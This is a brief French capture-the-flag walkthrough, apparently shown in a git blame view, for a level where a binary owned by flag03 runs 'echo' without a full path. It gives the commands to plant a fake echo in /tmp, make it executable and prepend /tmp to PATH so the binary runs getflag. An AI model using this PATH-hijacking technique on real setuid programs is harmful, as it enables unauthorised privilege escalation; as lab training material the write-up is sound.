2021-01-19 23:15:40 +00:00
|
|
|
On peut voir qu'il y a un executable level03 appartenant a flag03.
|
|
|
|
|
Ce fichier execute: echo "Exploit me"
|
|
|
|
|
|
2021-01-30 08:43:04 +00:00
|
|
|
on peut donc changer le PATH. Cree un fichier executable nomme echo dans /tmp qui execute getflag
|
2021-02-02 15:58:54 +00:00
|
|
|
On donne les droit d'execution au ficher
|
2021-01-19 23:15:40 +00:00
|
|
|
|
2021-02-02 15:58:54 +00:00
|
|
|
$ echo -e '#!/bin/bash \x0a getflag' > /tmp/echo && chmod 777 /tmp/echo
|
2021-01-30 08:43:04 +00:00
|
|
|
|
|
|
|
|
on execute level03 de cette maniere :
|
|
|
|
|
|
|
|
|
|
PATH=/tmp:$PATH ./level03
|
|
|
|
|
|
|
|
|
|
On obtient alors le flag
|
